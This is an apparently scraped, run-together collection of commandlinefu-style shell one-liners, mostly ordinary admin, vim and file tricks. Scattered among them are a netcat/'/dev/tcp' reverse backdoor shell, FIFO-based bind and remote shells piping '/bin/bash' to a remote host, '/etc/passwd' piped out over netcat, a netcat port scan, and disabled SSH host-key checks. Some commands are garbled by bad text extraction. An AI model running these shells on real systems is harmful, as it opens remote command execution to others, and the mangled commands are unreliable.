YAML.dump(JSON.parse(STDIN.read))' < file.json > file.yaml Convert Shell Text to Upper/Lower Case $ ALT-U / ALT-L Binary digits Matrix effect $ perl -e '$|++; while (1) { print " " x (rand(35) + 1), int(rand(2)) }' open two files side by side in vim (one window, two panes) $ vim -O file1 file2 repeat a command every one second $ watch -n 1 "do foo" Recursively find top 20 largest files (> 1MB) sort human readable format $ find . -type f -print0 | xargs -0 du -h | sort -hr | head -20Update all packages installed via homebrew $ brew update && brew upgrade ` brew outdated` open a screenshot of a remote desktop via ssh $ xloadimage <(ssh USER@HOSTNAME DISPLAY=:0.0 import - window root png:-) Find ulimit values of currently running process $ cat /proc/PID/limits diff current vi buffer edits against original file $ :w !diff -u % - Redirect tar extract to another directory $ tar xfz filename. tar.gz -C PathToDirectory print multiplication formulas $ seq 9 | sed 'H;g' | awk - v RS='' '{for(i=1;i<=NF;i++)printf("%dx%d=%d%s", i, NR, i*NR, i==NR?" ":"\t")}' Find Malware in the current and sub directories by MD5 hashes $ IFS=$' ' && for f in `find . -type f -exec md5sum "{}" \;`; do echo $f | sed - r 's/^[^ ]+/Checking:/'; echo $f | cut -f1 -d' ' | netcat hash.cymru.com 43 ; done Execute a command, convert output to .png file, upload file to imgur.com, then returning the address of the .png. $ imgur(){ $*|convert label:@- png:-|curl -F "image=@-" - F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload .xml| grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";} Generate a random password 30 characters long $ gpg --gen-random --armor 1 30all out $ pkill -KILL -u username Run a ext4 file system check and badblocks scan with progress info $ fsck.ext4 -cDfty -C 0 /dev/sdxx Selecting a random file/folder of a folder $ shuf -n1 -e * List your MACs address $ lsmac() { ifconfig -a | sed '/eth\|wl/!d;s/ Link.*HWaddr//' ; } ssh to machine behind shared NAT $ ssh -NR 0.0.0.0:2222:127.0.0.1:22 user@jump.host.com Countdown Clock $ MIN=10;for ((i=MIN*60;i>=0;i--));do echo -ne "\r$(date - d"0+$i sec" +%H:%M:%S)";sleep 1;done list all file extensions in a directory $ find . -type f | awk -F'.' '{print $NF}' | sort| uniq -c | sort -g Send an http HEAD request w/curl $ curl -I http://localhost view hex mode in vim $ :%!xxd View ~/.ssh/known_hosts key information $ ssh-keygen -l -f ~/.ssh/known_hosts Kill all Zombie processes (Guaranteed!) $ kill -9 `ps -xaw -o state -o ppid | grep Z | grep -v PID | awk '{print $2}'`prevent accidents and test your command with echo $ echo rm *.txt exclude a column with awk $ awk '{ $5=""; print }' file Get My Public IP Address $ curl ifconfig.me pretend to be busy in office to enjoy a cup of coffee $ for i in `seq 0 100`;do timeout 6 dialog --gauge "Install..." 6 40 "$i";done Empty a file $ :> file Better way to use notify-send with at or cron $ DISPLAY=:0.0 XAUTHORITY=~/.Xauthority notify-send test use screen as a terminal emulator to connect to serial consoles $ screen /dev/tty<device> 9600 Emptying a text file in one shot $ :%d computes the most frequent used words of a text file $ cat WAR_AND_PEACE_By_LeoTolstoi.txt | tr -cs "[:alnum:]" " "| tr "[:lower:]" "[:upper:]" | awk '{h[$1]++}END{for (i in h){print h[i]" "i}}'|sort - nr | cat -n | head -n 30 Print info about your real user. $ who loves mum Serve current directory tree at http://$HOSTNAME:8080/ $ twistd -n web --path .Open Remote Desktop (RDP) from command line and connect local resources $ rdesktop -a24 -uAdministrator -pPassword -r clipboard:CLIPBOARD - r disk:share=~/share -z -g 1280x900 -0 $@ & Restrict the bandwidth for the SCP command $ scp -l10 pippo@serverciccio:/home/zutaniddu/* . live ssh network throughput test $ pv /dev/zero|ssh $host 'cat > /dev/null' bash screensaver (scrolling ascii art with customizable message) $ while [ 1 ]; do banner 'ze missiles, zey are coming! ' | while IFS=" " read l; do echo "$l"; sleep 0.01; done; done Upgrade all perl modules via CPAN $ cpan -r Optimal way of deleting huge numbers of files $ find /path/to/dir -type f -delete Remove lines that contain a specific pattern($1) from file($2). $ sed -i '/myexpression/d' /path/to/file.txt List your largest installed packages (on Debian/Ubuntu) $ dpigs rsync + find $ find . -name "whatever.*" -print0 | rsync -av --files-from=- -- from0 ./ ./destination/ autossh + ssh + screen = super rad perma-sessions $ AUTOSSH_POLL=1 autossh -M 21010 hostname -t 'screen -Dr'Record microphone input and output to date stamped mp3 file $ arecord -q -f cd -r 44100 -c2 -t raw | lame -S -x -h -b 128 - `date +%Y%m%d%H%M`.mp3 cycle through a 256 colour palette $ yes "$(seq 1 255)" | while read i; do printf "\x1b[48;5;${i}m "; sleep .01; done Parallel file downloading with wget $ wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep - o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv move a lot of files over ssh $ tar -cf - /home/user/test | gzip -c | ssh user@ sshServer 'cd /tmp; tar xfz -' Cleanup firefox's database. $ pgrep -u `id -u` firefox-bin || find ~/.mozilla/firefox -name '*.sqlite'| (while read -e f; do echo 'vacuum;'|sqlite3 "$f" ; done) vim easter egg $ $ vim ... :help 42 Find the process you are looking for minus the grepped one $ pgrep command_name Stream YouTube URL directly to mplayer $ id="dMH0bHeiRNg";mplayer -fs http://youtube.com/get_video.php? video_id=$id&t=$(curl -s http://www.youtube.com/watch?v=$id | sed - n 's/.*, "t": "$[^"]*$", .*/\1/p') currently mounted filesystems in nice layout $ column -t /proc/mounts Send email with one or more binary attachments $ echo "Body goes here" | mutt -s "A subject" - a /path/to/file.tar.gz recipient@example.comSalvage a borked terminal $ echo <ctrl-v><esc>c<enter> Update twitter via curl $ curl -u user - d status="Tweeting from the shell" http://twitter.com/statuses/update.xml ssh autocomplete $ complete -W "$(echo $(grep '^ ssh ' .bash_history | sort -u | sed 's/^ ssh //'))" ssh Get all IPs via ifconfig $ ifconfig | perl -nle'/dr:(\S+)/ && print $1' VIM: Replace a string with an incrementing number between marks 'a and 'b (eg, convert string ZZZZ to 1, 2, 3, ...) $ :let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1 Get the canonical, absolute path given a relative and/or noncanonical path $ readlink -f ../super/symlink_bon/ahoy Create a Multi-Part Archive Without Proprietary Junkware $ tar czv Pictures | split -d -a 3 -b 16M - pics. tar.gz. Display last exit status of a command $ echo $? Enable ** to expand files recursively (>=bash-4.0) $ shopt -s globstar Delete all files found in directory A from directory B $ for file in <directory A>/*; do rm <directory B>/`basename $ file`; doneCommand Line to Get the Stock Quote via Yahoo $ curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1' Plays Music from SomaFM $ read -p "Which station? "; mplayer --reallyquiet -vo none - ao sdl http://somafm.com/startstream=${REPLY}.pls Search for a single file and go to it $ cd $(dirname $(find ~ -name emails.txt)) Convert camelCase to underscores (camel_case) $ sed -r 's/([a-z]+)([A-Z][a-z]+)/\1_\l\2/g' file.txt Set your profile so that you resume or start a screen session on login $ echo "screen -DR" >> ~/.bash_profile play high-res video files on a slow processor $ mplayer -framedrop -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all Create directory named after current date $ mkdir $(date +%Y%m%d) Monitor dynamic changes in the dmesg log. $ watch "dmesg |tail -15" Generate a list of installed packages on Debian-based systems $ dpkg --get-selections > LIST_FILE find the process that is using a certain port e.g. port 3000 $ lsof -P | grep ':3000' Edit the last or previous command line in an editor then execute $ fc [history-number]Pause Current Thread $ ctrl-z Converts to PDF all the OpenOffice.org files in the directory $ for i in $(ls *.od{tp}); do unoconv -f pdf $i; done Create a bunch of dummy files for testing $ touch {1..10}.txt Shows size of dirs and files, hidden or not, sorted. $ du -cs * .[^\.]* | sort -n Convert .wma files to .ogg with ffmpeg $ find -name '*wma' -exec ffmpeg -i {} -acodec vorbis -ab 128k {}.ogg \; Find distro name and/or version/release $ cat /etc/*-release Generate Random Passwords $ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c6 bash shortcut: !$ !^ !* !:3 !:h and !:t $ echo foo bar foobar barfoo && echo !$ !^ !:3 !* && echo /usr/bin/foobar&& echo !$:h !$:t Find recursively, from current directory down, files and directories whose names contain single or multiple whitespaces and replace each such occurrence with a single underscore. $ find ./ -name '*' -exec rename 's/\s+/_/g' {} \; Tells which group you DON'T belong to (opposite of command "groups") --- uses sed $ sed -e "/$USER/d;s/:.*//g" /etc/group | sed -e :a -e '/$/N;s/ / /;ta'Quickly get summary of sizes for files and folders $ du -sh * Host cpu performance $ openssl speed md5 drop first column of output by piping to this $ awk '{ $1="";print}' Create a bunch of dummy text files $ base64 /dev/urandom | head -c 33554432 | split -b 8192 -da 4 - dummy. Get the Nth argument of the last command (handling spaces correctly) $ !:n Retry the previous command until it exits successfully $ !!; while [ $? -ne 0 ]; do !!; done Play awesome rythmic noise using aplay $ echo "main(i){for(i=0;;i++)putchar(((i* (i>>8|i>>9)&46&i>>8))^(i&i>>13|i>>6));}" | gcc -x c - && ./a.out | aplay Turns red the stderr output $ color()(set -o pipefail;"$@" 2>&1>&3|sed $'s,.*,\e[31m&\e[m,'>&2)3>&1 Recursively unrar into dir containing archive $ find . -name '*.rar' -execdir unrar e {} \; Temporarily ignore mismatched SSH host key $ ssh -o UserKnownHostsFile=/dev/null - o StrictHostKeyChecking=no username@host Remove all zero size files from current directory (not recursive) $ find . -maxdepth 1 -size 0c -deleteWatch the progress of 'dd' $ pv -tpreb /dev/urandom | dd of=file.img Get a stream feed from a Twitter user $ step1 ; step2 ; step3 ; step4 ; curl -o- -- get 'https://stream.twitter.com/1/statuses/filter.json' -- header "$oauth_header" --data "follow=$id" Create the authorization header required for a Twitter stream feed $ step4() { oauth_header="Authorization: OAuth oauth_consumer_key=\"$k1\ ", oauth_nonce=\"$once\", oauth_signature=\"$signature\", oauth_signature_ method=\"HMAC- SHA1\", oauth_timestamp=\"$ts\", oauth_token=\"$k3\", oauth_version=\"1.0\" ";} Create the signature base string required for a Twitter stream feed $ step2() { b="GET&https%3A%2F%2Fstream.twitter.com%2F1%2Fstatuses%2Ffilter.j son&follow%3D${id}%26oauth_consumer_key%3D${k1}%26oauth_nonce%3 D${once}%26oauth_signature_method%3DHMAC- SHA1%26oauth_timestamp%3D${ts}%26oauth_token%3D${k3}%26oauth_v ersion%3D1.0";} Create the oauth token required for a Twitter stream feed $ step3() { s=$( echo -n $b | openssl dgst -sha1 -hmac $hmac -binary | openssl base64); signature=`for((i=0;i<${#s};i++)); do case ${s:i:1} in +) e % 2B;; /) e %2F;; =) e %3D;; *) e ${s:i:1};; esac ; done` ; } ; e() { echo -n $1; } Check your spelling $ aspell -a <<< '<WORDS>' Find all files larger than 500M and less than 1GB $ find / -type f -size +500M -size -1G Show bandwidth use oneliner $ while true; do cat /proc/net/dev; sleep 1; done | awk - v dc="date \"+%T\"" '/eth0/{i = $2 - oi; o = $10 - oo; oi = $2; oo = $10; dc|getline d; close(dc); if (a++) printf "%s %8.2f KiB/s in %8.2f KiB/s out ", d, i/1024, o/1024}'Change/Modify timestamp interactively $ touch -d $(zenity --calendar --date-format=%F) filename sort the contents of a text file in place. $ sort -g -o list.txt{,} Instantly load bash history of one shell into another running shell $ $ history -a #in one shell , and $ history -r #in another running shell Compare directories via diff $ diff -rq dirA dirB copy with progress bar - rsync $ rsync -rv <src> <dst> --progress Multiple variable assignments from command output in BASH $ read day month year < <(date +'%d %m %y') List your MACs address $ cat /sys/class/net/eth0/address Rename all files which contain the sub-string 'foo', replacing it with 'bar' $ for i in ./*foo*;do mv -- "$i" "${i//foo/bar}";done Create a 5 MB blank file via a seek hole $ dd if=/dev/zero of=testfile.seek seek=5242879 bs=1 count=1 Screensaver $ alias screensaver='for ((;;)); do echo - ne "\033[$((1+RANDOM%LINES));$((1+RANDOM%COLUMNS))H\033[$((R ANDOM%2));3$((RANDOM%8))m$((RANDOM%10))"; sleep 0.1 ; done' ROT13 using the tr command $ alias rot13="tr a-zA-Z n-za-mN-ZA-M"Bash logger $ script /tmp/log.txt Recursively search for large files. Show size and location. $ find . -size +100000k -exec du -h {} \; Make vim open in tabs by default (save to .profile) $ alias vim="vim -p" Rename HTML files according to their title tag $ perl -wlne'/title>([^<]+)/i&&rename$ARGV,"$1.html"' *.html Secure copy from one server to another without rsync and preserve users, etc $ tar -czvf - /src/dir | ssh remotehost "(cd /dst/dir ; tar -xzvf -)" the same as [Esc] in vim $ Ctrl + [ Binary clock $ perl -e 'for(;;){@d=split("",`date +%H%M%S`);print"\r";for(0..5) {printf"%.4b ",$d[$_]}sleep 1}' Function to split a string into an array $ read -a ARR <<<'world domination now!'; echo ${ARR[2]}; Generate MD5 hash for a string $ md5sum <<<"test" Recompress all .gz files in current directory using bzip2 running 1 job per CPU core in parallel $ parallel -j+0 "zcat {} | bzip2 >{.}.bz2 && rm {}" ::: *.gz phpinfo from the command line $ php -iEscape potential tarbombs $ atb() { l=$( tar tf $1); if [ $(echo "$l" | wc -l) -eq $(echo "$l" | grep $(echo "$l" | head -n1) | wc - l) ]; then tar xf $1; else mkdir ${1%. tar.gz} && tar xf $1 -C ${1%. tar.gz}; fi ;} pretend to be busy in office to enjoy a cup of coffee $ while [ true ]; do head -n 100 /dev/urandom; sleep .1; done | hexdump - C | grep "ca fe" runs a X session within your X session $ ssh -C -Y -l$USER xserver.mynet.xx 'Xnest -geometry 1900x1150 - query localhost' Find all symlinks that link to directories $ find -type l -xtype d Have a random "cow" say a random thing $ fortune | cowsay -f $(ls /usr/share/ cowsay/cows/ | shuf -n1) sends a postscript file to a postscript printer using netcat $ cat my.ps | nc -q 1 hp4550.mynet.xx 9100 Display which distro is installed $ cat /etc/*release Fetch every font from dafont.com to current folder $ d="www.dafont.com/alpha.php?"; for c in {a..z}; do l=`curl - s "${d}lettre=${c}"|sed -n 's/.*ge=$[0-9]\ {2\}$.*/\1/p'`; for((p=1;p<=l;p++));do for u in `curl - s "${d}page=${p}&lettre=${c}"|egrep -o "http\S*.com/dl/\? f=\w*"`;do aria2c "${u}";done;done;done Realtime lines per second in a log file $ tail -f access.log | pv -l -i10 -r >/dev/nullintercept stdout/stderr of another process $ strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^ |" | cut -c11-60 | sed - e 's/ //g' | xxd -r -p send DD a signal to print its progress $ while :;do killall -USR1 dd;sleep 1;done See your current RAM frequency $ dmidecode -t 17 | awk -F":" '/Speed/ { print $2 }' scp with compression. $ scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql Perl Command Line Interpreter $ perl -e 'while(1){print"> ";eval<>}' Find unused IPs on a given subnet $ nmap -T4 -sP 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp Change the From: address on the fly for email sent from the command- line $ mail -s "subject" user@todomain.com <e mailbody.txt -- - f customfrom@fromdomain.com -F 'From Display Name' find and delete empty dirs, start in current working dir $ find . -type d -empty -delete Check which files are opened by Firefox then sort by largest size. $ l sof -p $(pidof firefox) | awk '/.mozilla/ { s = int($7/(2^20)); if( s>0) print ( s)" MB -- "$9 | " sort -rn" }' Use colordiff in side-by-side mode, and with automatic column widths. $ colordiff -yW"`tput cols`" /path/to/file1 /path/to/file2extract email adresses from some file (or any other pattern) $ grep -Eio '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})' geoip information $ curl -s "http://www.geody.com/geoip.php?ip=$( curl -s icanhazip.com)" | sed '/^IP:/!d;s/<[^>][^>]*>//g' What is my ip? $ curl http://www.whatismyip.org/ convert vdi to vmdk (virtualbox hard disk conversion to vmware hard disk format) $ VBoxManage internalcommands converttoraw winxp.vdi winxp.raw && qe mu-img convert -O vmdk winxp.raw winxp.vmdk && rm winxp.raw FAST Search and Replace for Strings in all Files in Directory $ sh -c 'S=askapache R=htaccess; find . -mount -type f|xargs -P5 -iFF grep - l -m1 "$S" FF|xargs -P5 -iFF sed -i -e "s%${S}%${R}%g" FF' Get the total length of time in hours:minutes:seconds (HH:MM:SS) of all video (or audio) in the current dir (and below) $ find -type f -name "*.avi" -print0 | xargs -0 mplayer -vo dummy - ao dummy -identify 2>/dev/null | perl -nle '/ID_LENGTH=([0- 9\.]+)/ && ($t +=$1) && printf "%02d:%02d:%02d ",$t/3600,$t/60%60,$t%60' | tail -n 1 Send data securly over the net. $ cat /etc/passwd | openssl aes-256-cbc -a -e -pass pass:password | net cat -l -p 8080 When was your OS installed? $ ls -lct /etc | tail -1 | awk '{print $6, $7}' How to run a command on a list of remote servers read from a file $ while read server; do ssh -n user@$server "command"; done < servers.txtReplace spaces in filenames with underscorees $ ls | while read f; do mv "$f" "${f// /_}";done find the biggest files recursively, no matter how many $ find . -type f -printf '%20s %p ' | sort -n | cut -b22- | tr ' ' '\000' | xargs -0 ls -laSr grep certain file types recursively $ grep -r --include="*.[ch]" pattern . Change proccess affinity. $ taskset -cp <core> <pid> back up your commandlinefu contributed commands $ curl http://www.commandlinefu.com/commands/by/<your username>/rss|gzi p ->commandlinefu-contribs-backup-$(date +%Y-%m-%d-%H.%M.%S).rss.gz benchmark web server with apache benchmarking tool $ ab -n 9000 -c 900 localhost:8080/index.php Multiple SSH Tunnels $ ssh -L :: -L :: @ Redirect incoming traffic to SSH, from a port of your choosing $ iptables -t nat -A PREROUTING -p tcp --dport [port of your choosing] - j REDIRECT --to-ports 22 LDAP search to query an ActiveDirectory server $ ldapsearch -LLL -H ldap://activedirectory.example.com:389 - b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' - w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)' Easily scp a file back to the host you're connecting from $ mecp () { scp "$@" ${SSH_CLIENT%% *}:Desktop/; }Super Speedy Hexadecimal or Octal Calculations and Conversions to Decimal. $ echo "$(( 0x10 )) - $(( 010 )) = $(( 0x10 - 010 ))" find and replace tabs for spaces within files recursively $ find ./ -type f -exec sed -i 's/\t/ /g' {} \; alt + 1 . $ alt + 1 . sends your internal IP by email $ ifconfig en1 | awk '/inet / {print $2}' | mail - s "hello world" e mail@e mail.com synchronicity $ cal 09 1752 Terminal redirection $ script /dev/null | tee /dev/pts/3 Use mtr to create a text file report $ mtr --report --report-cycles 10 www.google.com > google_net_report.txt Rot13 using the tr command $ alias rot13="tr '[A-Za-z]' '[N-ZA-Mn-za-m]'" Measures download speed on eth0 $ while true; do X=$Y; sleep 1; Y=$(ifconfig eth0|grep RX\ bytes|awk '{ print $2 }'|cut -d : -f 2); echo "$(( Y-X )) bps"; done Clean swap area after using a memory hogging application $ swapoff -a ; swapon -a loop over a set of items that contain spaces $ ls | while read ITEM; do echo "$ITEM"; done[re]verify a disc with very friendly output $ dd if=/dev/cdrom | pv -s 700m | md5sum | tee test.md5 Traceroute w/TCP to get through firewalls. $ tcptraceroute www.google.com Rotate a set of photos matching their EXIF data. $ jhead -autorot *.jpg Launch a command from a manpage $ !date hard disk information - Model/serial no. $ hdparm -i[I] /dev/sda Split File in parts $ split -b 19m file Nameforpart Speak the top 6 lines of your twitter timeline every 5 minutes..... $ while [ 1 ]; do curl -s - u username:password http://twitter.com/statuses/friends_timeline.rss|grep titl e|sed -ne 's/<\/*title>//gp' | head -n 6 |festival --tts; sleep 300;done To get you started! $ vimtutor Exclude grep from your grepped output of ps (alias included in description) $ ps aux | grep [h]ttpd renames multiple files that match the pattern $ rename 's/foo/bar/g' * infile search and replace on N files (including backup of the files) $ perl -pi.bk -e's/foo/bar/g' file1 file2 fileNCommand to logout all the users in one command $ sudo who | awk '!/root/{ cmd="/sbin/pkill -KILL -u " $1; system(cmd)}' Rename all subtitles files with the same name of mp4 files in same folder $ paste -d: <(ls -1 *.mp4) <(ls -1 *.srt) | while read line; do movie="${line%%:*}"; subtitle="${line##*:}"; mv "${subtitl e}" "${movie%.*}.srt"; done SSH connection through host in the middle $ ssh -J user@reachable_host user@unreacheable_host !* Tells that you want all of the *arguments* from the previous command to be repeated in the current command $ chmod 777 !* Show running services (using systemctl) $ command systemctl --no-page --no-legend --plain -t service -- state=running Convert all JPEG images to MP4 $ cat *.jpg | ffmpeg -f image2pipe -r 1 -vcodec mjpeg -i - - vcodec libx264 out.mp4 Binary clock $ perl -e 'for(;;sleep 1){printf"\r"."%.4b "x6,split"",`date +%H%M%S`}' Bare Metal IRC Client $ nik=clf$RANDOM;sr=irc.efnet.org;expect - c "set timeout -1;spawn nc $sr 6666;set send_human {.1 .2 1 .2 1};expect A UTH* ;send -h \"user $nik * * :$nik commandlinefu nick $nik \"; interact -o -re (PING.:)(.*\$) {send \"PONG :\$interact_out(2,string)\"}" pulsed terminal clock $ clear;while true;sleep 1;do for((a=1;a<=$( tput cols)/3;a++));do tput cup 0 $ a;echo " " $(date);done;sleep 1;for((a;a>=1;a- -));do tput cup 0 $a;echo $(date) " ";done;doneSubmit command & rewrite orginal command $ <ctrl>+o Encrypted chat with netcat and openssl (one-liner) $ server$ while true; do read -n30 ui; echo $ui | openssl e nc -aes-256-ctr - a -k PaSSw; done | nc -l -p 8877 | while read so; do decoded_so=` echo "$so"| openssl e nc -d -a -aes-256- ctr -k PaSSw`; echo -e "I ncoming: $decoded_so"; done removes characters from cursor to the end of line $ Ctrl+k Symlink all files from a base directory to a target directory $ ln -s /BASE/* /TARGET/ All what exists in dir B and not in dir A will be copied from dir B to new or existing dir C $ rsync -v -r --size-only --compare-dest=../A/ B/ C/ find previously entered commands (requires configuring .inputrc) $ <Meta-p> (aka <ALT+P>) Add directory to $PATH if it's not already there $ if [[ ":$PATH:" != *":$dir:"* ]]; then PATH=${PATH}:$dir; fi Debug how files are being accessed by a process $ inotifywait -m -r . Convert JSON to YAML $ python - c 'import sys, yaml, json; yaml.safe_dump(json.load(sys.stdin), sys.stdout, def ault_flow_style=False)' < file.json > file.yamlSearch google.com on your terminal $ Q="YOURSEARCH"; GOOG_URL="http://www.google.com/search? q="; AGENT="Mozilla/4.0"; stream=$(curl -A "$AGENT" - skLm 10 "${GOOG_URL}\"${Q/\ /+}\"" | grep -oP '\/url\?q=.+?&' | sed 's/\/url?q=//;s/&//'); echo -e "${stream//\%/\x}" Reverse Backdoor Command Shell using Netcat $ exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done Emulating netcat -e (netcat-traditional or netcat-openbsd) with the gnu- netcat $ mkfifo foo ; nc -lk 2600 0<foo | /bin/bash 1>foo Find biggest 10 files in current and subdirectories and sort by file size $ find . -type f -print0 | xargs -0 du -h | sort -hr | head -10 Get your external IP and Network Info $ curl ifconfig.me/all Quickly CD Out Of Directories Without 5+ Aliases $ up() { local x='';for i in $(seq ${1:-1});do x="$x../"; done;cd $x; } List all commands present on system $ ls ${PATH//:/ } A line across the entire width of the terminal $ printf "%$(tput cols)s "|tr ' ' '=' Create the four oauth keys required for a Twitter stream feed $ step1() { k1="Consumer key" ; k2="Consumer secret" ; k3="Access token" ; k4="Access token secret" ; once=$RANDOM ; ts=$(date +%s) ; hmac="$k2& $k4" ; id="19258798" ; }Check if a machine is online $ ping -c 1 -q MACHINE_IP_OR_NAME >/dev/null 2>&1 && echo ONLINE || echo OFFLINE diff the outputs of two programs $ diff <(exiftool img_1.jpg) <(exiftool img_2.jpg) put an unpacked .deb package back together $ dpkg-repack firefox extract element of xml $ xmlstarlet sel -t -c "/path/to/element" file.xml Print all lines between two line numbers $ awk 'NR >= 3 && NR <= 6' /path/to/file Show network throughput $ tcpdump -w - |pv -bert >/dev/null Generate a random password 30 characters long $ cat /dev/urandom | tr -dc A-Za-z0-9 | head -c 32 Remove the first and the latest caracter of a string $ var=:foobar:; echo ${var:1:-1} Load file into RAM (cache) for faster accessing for repeated usage $ cat <file> > /dev/null Show IP Address in prompt --> PS1 var $ export PS1="[\u@`hostname -I` \W]$ " log a command to console and to 2 files separately stdout and stderr $ command > >(tee stdout.log) 2> >(tee stderr.log >&2)Join lines split with backslash at the end $ sed -e '/\\$/{:0;N;s/\\ //;t0}' Convert text to lowercase $ lower() { echo ${@,,}; } find builtin in bash v4+ $ ls -l /etc/**/*killall make image semi-transparent $ convert input.png -alpha set -channel A -fx 0.5 output.png execute a shell with netcat without -e $ mknod backpipe p && nc remote_server 1337 0<backpipe | /bin/bash 1>backpipe output length of longest line $ awk '(length > n) {n = length} END {print n}' Save your terminal commands in bash history in real time $ shopt -s histappend ; PROMPT_COMMAND="history - a;$PROMPT_COMMAND" Connect via SSH to VirtualBox guest VM without knowing IP address $ ssh vm-user@`VBoxManage guestproperty get "vm- name" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{ print $2 }'` Make redirects to localhost via /etc/hosts more interesting $ sudo socat TCP4- LISTEN:80,bind=127.0.0.1,fork EXEC:'echo "HTTP/1.1 503 Service Unavaila ble";' Tricky implementation of two-dimensional array in Bash. $ arr[i*100+j]="whatever"Terrorist threat level text $ echo "Terrorist threat level: `od -An -N1 -i /dev/random`" Use wget to download one page and all it's requisites for offline viewing $ wget -e robots=off -E -H -k -K -p http://<page> Convert a string to "Title Case" $ echo "this is a test" | sed 's/.*/\L&/; s/[a-z]*/\u&/g' RTFM function $ rtfm() { help $@ || info $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; } back ssh from firewalled hosts $ ssh -R 5497:127.0.0.1:22 -p 62220 user@public.ip rename files according to file with colums of corresponding names $ xargs -n 2 mv < file_with_colums_of_names Create a new file $ > file Monitor a file with tail with timestamps added $ tail -f file | awk '{now=strftime("%F %T%z\t");sub(/^/, now);print}' Use result of the last command $ `!!` Check disk for bad sectors $ badblocks -n -s -b 2048 /dev/sdX run a command whenever a file is touched $ ontouchdo(){ while :; do a=$(stat - c%Y "$1"); [ "$b" != "$a" ] && b="$a" && sh -c "$2"; sleep 1; done }Create a file of a given size in linux $ truncate -s 1M file Extended man command $ /usr/bin/man $* || w3m -dump http://google.com/search?q="$*"&btnI | less Get notified when a job you run in a terminal is done, using NotifyOSD $ alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome- terminal.png "[$?] $(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/;\s*alert$//'\'')"' Show which process is blocking umount (Device or resource is busy) $ lsof /folder Show the UUID of a filesystem or partition $ blkid /dev/sda7 run command on a group of nodes $ mussh -h host1 host2 host3 -c uptime Setting global redirection of STDERR to STDOUT in a script $ exec 2>&1 Outgoing IP of server $ dig +short @resolver1.opendns.com myip.opendns.com Isolate file name from full path/find output $ echo ${fullpath##*/} Show numerical values for each of the 256 colors in bash $ for i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 - s ' '; echo -e "\e[m" Use Kernighan & Ritchie coding style in C program $ indent -kr hello.cDelay execution until load average falls under 1.5 $ echo 'some command' | batch backup with mysqldump a really big mysql database to a remote machine over ssh $ mysqldump -q --skip-opt --force --log-error=dbname_error.log -uroot - pmysqlpassword dbname | ssh - C user@ sshserver 'cd /path/to/backup/dir; cat > dbname.sql' Tail -f at your own pace $ tail -fs 1 somefile Watch the progress of 'dd' $ dd if=/dev/zero | pv | dd of=/dev/null Smart `cd`.. cd to the file directory if you try to cd to a file $ cd() { if [ -z "$1" ]; then command cd; else if [ - f "$1" ]; then command cd $(dirname "$1"); else command cd "$1"; fi; fi; } Temporarily ignore known SSH hosts $ ssh -o UserKnownHostsFile=/dev/null root@192.168.1.1 dd with progress bar $ dd if=/dev/nst0 |pv| dd of=restored_file.tar Save the Top 2500 commands from commandlinefu to a single text file $ curl http://www.commandlinefu.com/commands/browse/sort-by- votes/plaintext/[0-2500:25] | grep -v _ curl_ > comfu.txt Simple addicting bash game. $ count="1" ; while true ; do read next ; if [[ "$ next" = "$last" ]] ; then count =$(($count+1)) ; echo "$count" ; else count="1" ; echo $count ; fi ; last="$ ne xt" ; done Query Wikipedia via console over DNS $ mwiki() { dig +short txt "$*".wp.dg.cx; }Print a row of 50 hyphens $ python -c 'print "-"*50' Display a wave pattern $ ruby -e "i=0;loop{puts ' '*(29*(Math.sin(i)/2+1))+'|'*(29* (Math.cos(i)/2+1)); i+=0.1}" grep tab chars $ grep "^V<TAB>" your_file send a message to a windows machine in a popup $ echo "message" | smbclient -M NAME_OF_THE_COMPUTER Using mplayer to play the audio only but suppress the video $ mplayer -novideo something.mpg Using mplayer to play the audio only but suppress the video $ mplayer -vo null something.mpg create a temporary file in a command line call $ any_script.sh < <(some command) shell function to make gnu info act like man. $ my info() { info --subnodes -o - $1 | less; } Get your commandlinefu points (upvotes - downvotes) $ username=matthewbauer; curl - s http://www.commandlinefu.com/commands/by/$username/json | tr '{' ' ' | grep -Eo ',"votes":"[0-9\-]+","' | grep -Eo '[0-9\-]+' | tr ' ' '+' | sed 's/+$/ /' | bc Replace spaces in filenames with underscores $ for f in *;do mv "$f" "${f// /_}";doneInsert the last argument of the previous command $ !$ Remote control for Rhythmbox on an Ubuntu Media PC $ alias rc='ssh ${MEDIAPCHOSTNAME} env DISPLAY=:0.0 rhythmbox- client --no-start' Remove everything except that file $ find . ! -name <FILENAME> -delete Remove today's Debian installed packages $ grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs apt-get -y remove Amazing real time picture of the sun in your wallpaper $ curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin bash screensaver off $ setterm -powersave off -blank 0 Monitor a file's size $ watch -n60 du /var/log/messages Smart renaming $ mmv 'banana_*_*.asc' 'banana_#2_#1.asc' is today the end of the month? $ [ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month' Port scan a range of hosts with Netcat. $ for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; doneLog your internet download speed $ echo $(date +%s) > start- time; URL=http://www.google.com; while true; do echo $(curl -L --w % {speed_download} -o/dev/null -s $URL) >> bps; sleep 10; done & Show Directories in the PATH Which does NOT Exist $ (IFS=:;for p in $PATH; do test -d $p 